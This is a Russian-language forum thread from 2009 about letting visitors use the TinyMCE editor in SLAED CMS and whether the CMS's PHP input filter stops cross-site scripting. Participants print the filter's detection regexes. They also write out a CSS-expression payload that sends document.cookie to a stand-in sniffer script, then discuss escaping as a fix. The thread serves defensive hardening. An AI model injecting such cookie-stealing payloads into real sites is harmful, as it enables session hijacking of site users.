Форум » Система построения сайтов » Модули » Сторонние модули » TinyMCE в пользовательскую часть
Открыть Ответить

TinyMCE в пользовательскую часть

11
31.08.2009 10:10:17

Тогда как это штука работает в пользовательских частях в про версии? Там более хитрая система фильтрации?

Версия системы SLAED CMS 2.6 Lite
Версия PHP PHP 5
septron
septron
3.69

3.69

12
01.09.2009 16:47:37

Вот кусочек кода из Про версии... security.php

PHP
foreach ($_POST as $var_name=>$var_value) {
		$var_value = is_array($var_value) ? fields_save($var_value) : $var_value;
		if ($confs['url_post']) if (preg_match("#^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)#i", $var_value)) warn_report("URL in POST - ".$var_name." = ". $var_value);
		$editor = intval(substr($admin[3], 0, 1));
		if (((defined("ADMIN_FILE") && $editor != 1) || (!defined("ADMIN_FILE") && $conf['redaktor'] != 1)) && preg_match("#<.*?(script|body|object|iframe|applet|meta|form).*?>#i", urldecode($var_value))) warn_report("HTML in POST - ".$var_name." = ". $var_value);
		$security_string = "#".$prefix."_admins|".$prefix."_users#i";
		$security_decode = base64_decode($var_value);
		if (preg_match($security_string, $security_decode)) hack_report("XSS base64 in POST - ".$var_name." = ". $var_value);
		if (preg_match($security_string, $var_value)) hack_report("XSS in POST - ".$var_name." = ". $var_value);
		$security_slash = preg_replace("#\/\*.*?\*\/#", "", $var_value);
		if (preg_match($security_string, $security_slash)) hack_report("XSS in POST - ".$var_name." = ". $var_value);
	}
}

Также отсутствует тэг style...

Версия системы SLAED CMS 2.6 Lite
Версия PHP PHP 5
septron
septron
3.69

3.69

13
02.09.2009 19:46:45

septron, видимо это сделано умышленно, чтобы проще было взломать сайт 😉

GRAFLEKX
GRAFLEKX
3.92

3.92

14
02.09.2009 21:04:32

GRAFLEKX, ну вот этот кусочек if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in POST - ".$var_name." = ". $var_value); зафильтрует пример style="background-image: url('http://example.com/sniffer.php?cookie=' + expression(document.cookie));" при отключённом style? Может что-то хитрое можно придумать, чтобы и редактор поставить, и как-нибудь обезопасить страничку... Или лучше вернуться к bb-редактору?

Версия системы SLAED CMS 2.6 Lite
Версия PHP PHP 5
septron
septron
3.69

3.69

15
14.09.2009 19:56:54

Однако с отключённым джаваскрипт редактор благополучно пропустил вышеприведённый пример с кукиес... Исходный код:

Код
<td vAlign=top width="80%"><style=\"background-image: url(\'http://example.com/sniffer.php?cookie=\' + expression(document.cookie));\"></td>

Ребят, может можно как-то сделать, чтобы система добавляла дополнительные символы какие-нибудь в подобные строки, тем самым их обезвреживая?

septron
septron
3.69

3.69

16
14.09.2009 20:31:07

Можно в функцию save дописать...

PHP
$comment = str_replace(array("'", "\\"), array("&#039;", "&#092;"), stripslashes($comment));

Тогда это дело выглядит как

Код
<style="background-image: url(&#039;http://example.com/sniffer.php?cookie=&#039; + expression(document.cookie));">

Такой вариант защитит?

septron
septron
3.69

3.69

17
15.09.2009 11:44:21

septron, я думал вы все поняли, когда писали про 4.3, и как там все это реализовано для защиты.
Делайте всё по примеру с данной версией.
А как пример, я тоже самое могу прописать не в тег style, а в тег td как бекграунд, и будет тоже самое...
Пробуйте приведенные Вами примеры и сами все узнаете . 🙂

GRAFLEKX
GRAFLEKX
3.92

3.92

Открыть Ответить
Хотите опробовать SLAED CMS в действии?
Идеи и предложения
Обратная связь
Подтверждение

Поделиться
QR-код

Предварительный просмотр